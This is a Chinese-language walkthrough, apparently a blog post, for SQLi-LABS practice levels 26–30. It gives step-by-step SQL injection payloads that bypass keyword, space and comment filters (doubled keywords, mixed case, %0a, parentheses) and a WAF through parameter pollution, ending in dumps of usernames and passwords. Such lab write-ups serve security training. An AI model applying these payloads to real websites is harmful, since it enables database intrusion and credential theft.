SQL注入SQLi-LABS 靶场less26-30详细通关攻略
less 26 GET -Error based -All your SPACES and COMMENTS belong to us
1.判断闭合方式
在我们尝试闭合方式的时候发现将我们的and or 空格 注释都过滤掉了,那我们就给他构造一个aandnd进行绕过,空格使用()代替,%20 +都不能使了。
?id=1'oorr' //页面正常
?id=1''oorr' //页面错误
2.判断注入方式
在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入
3.构造报错注入语句获取数据库名称
-1' aandnd (updatexml(1,concat(1,database()),3)) oorr'
4.构造语句查询数据库中的表信息
除了and还有or ,information中的or也会过滤,每个空格都会被过滤所以我们使用括号代替时要替换完整。
-1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),3)) oorr'
5.查询字段名
-1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),3)) oorr'
6.查询具体信息
password中的or。
-1'aandnd(updatexml(1,concat(1,(select(group_concat(username,passwoorrd)) from (users))),2)) oorr'
less 27 GET -Error based -All your UNION & SELECT belong to us -String -Single quote
1.判断闭合方式
经过尝试,该关过滤了我们的空格,注释,union,select。使用()代替空格,大小写代替union和select。
1' and (1=2)or'
1' and (1=1)or'
2.判断注入方式
在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入
3.构造报错注入语句获取数据库名称
-1' and (updatexml(1,concat(1,database()),3)) or'
4.构造语句查询数据库中的表信息
-1'and(updatexml(1,concat(1,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),3)) or'
5.查询字段名
-1'and(updatexml(1,concat(1,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),3)) or'
6.查询具体信息
-1'and(updatexml(1,concat(1,(seleCt(group_concat(username,password)) from (users))),2)) or'
less28 GET -Error Based -All your UNION & SELECT Belong to us -String -Single quote with parenthesis
1.判断闭合方式
经过尝试,该关过滤了我们的空格,注释,union select。使用%0a代替空格,双写代替union select。
2' and '1' ='1
2' and '1' ='2
这里面是存在闭合的,里面如果是')闭合的话代码为('2' and '1' = '1')回显正常所以,这里的闭合为')
2.判断注入方式
这一关没有报错信息,过滤了我们的union select 我们进行绕过后联合注入。
3.构造报错注入语句获取数据库名称
符号也被过滤了,直接使用0使他们正常页面回显不出来,回显我们的联合注入内容。
0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand%0A('1
4.构造语句查询数据库中的表信息
0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0a where %0a table_schema='security'),3%0Aand%0A('1
5.查询字段名
0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0a where %0a table_schema='security'%0a and %0atable_name='users'),3%0Aand%0A('1
6.查询具体信息
0')%0a union%0a union %0aselect %0a select %0a1,(select%0agroup_concat(username,password)%0afrom%0ausers),3%0Aand%0A('1
less29 GET -Error Based IMPIDENCE MISMATCH - Having a WAF in front of web application
查看源代码,有两个参数,但是会对第一个参数进行校验,所以我们可以将我们的注入语句放在我们的第二个参数上。
1.判断闭合方式
1&id=2' and '1'='1
1&id=2' and '1'='2
2.判断回显点
1&id=-1' union select 1,2,3 and '1'='1
3.构造语句查看数据库名
1&id=-1' union select 1,database(),3 and '1'='1
4.构造语句查看数据表的表名
1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1
5.构造语句查看表内字段名
1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1
6.构造语句查看信息
这里后面的注释一直报错,更换了一下
2&id=0' union select 1,2,group_concat(username,password) from users --+
less30 GET -BLIND IMPIDENCE MISMATCH - Having a WAF in front of web application
这一关和上一关(29)除了闭合方式不一样外其他的一模一样,仅给出输入参数图片就不贴了。相信各位大佬都会的。
1.数据库名
1&id=-1' union select 1,database(),3 and '1'='1
2.表名
1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1
3.字段名
1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1
4.具体信息
2&id=0' union select 1,2,group_concat(username,password) from users --+